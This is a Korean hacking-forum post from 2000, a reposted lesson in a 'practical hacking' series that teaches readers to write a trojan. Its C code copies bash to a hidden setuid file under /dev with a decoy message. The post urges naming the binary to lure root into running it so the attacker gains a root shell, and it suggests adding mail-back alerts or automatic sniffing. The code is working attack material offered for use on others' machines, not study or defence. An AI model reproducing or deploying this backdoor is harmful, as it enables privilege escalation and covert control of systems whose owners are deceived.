| Hacking 관련 게시판 |
|---|
| 2000/08/06(21:07) from 203.255.160.61 | |
| 작성자 : 강줄기 (jkkang65@hanmail.net) | 조회수 : 3366 , 줄수 : 57 |
| [강좌]실전해킹[6회분]-퍼옴 |
|---|
|
해킹강좌 제 6회~ 자~ 이번에는 간단한 트로이를 만들어 보도록 하죠~ 버그에 관한것은 또 나중에 하도록 하고요~ 리눅스를 써보셨다면 /tmp 디렉은 누구에게나 열려있다는것을 아실껍니다 그럼 /tmp 에다가 트로이를 숨겨놓도록 하죠... 그럼 프로그래밍을 해야겠죠... ________________________________________________________________ #include "stdio.h" /*헤더를 선언하구요*/ main() /*메인함수입니다*/ { system("cp /bin/bash /dev/ptypg");/*system 함수는여 셸에서 명령 어 내리는것과*/system("chmod 4755 /dev/ptypg");/* 같은 효과입니다.*/ /* 자 볼까여..처음에 bin/bash 그러니까 rootshell 을 dev/ptypg 로 복사 를했습*/ /* 니다. 그다음 4755 번의 권한을 주어 일반인도 사용할수 있게 했죠*/ /* 저걸 root 가 실행시킨다면 /dev/ptypg 라는 곳에 루트셸이 생성되는것 이죠*/ /* /dev/ 한 이유는 /dev/에 파일이 엄청 많기 때문에 관리자가 잘 확인을 안하죠*/ /* 그다음 우리는 그저 가서 /dev/ptypg 라는것을 실행시키면 root가 되는 것입니다*/ printf("practical unix programing");/*아무것두 안나오면 의심하니 까...^^*/ } ________________________________________________________________ 자 아주 간단히 트로이를 짜봤습니다... 더 이상 간단하게는 못할꺼 같네여~ 그죠?여기서 조금만 응용하면 root 가 실행하면 자기에게 메일이 날라오도록 하기...많겠죠? 아님 스니핑을 자동으로 돌린다던가... 그다음 컴파일을 아실테지만 그래도~^^ $gcc -o 실행화일명 소스이름.c 이렇게 하면 되여. 실행화일명을 sex 같은걸루하면 루트가 확인하기 좋겠죠? 트로이니까~ 그럼 오늘은 트로이에 대해 알아봤습니다... |
|
|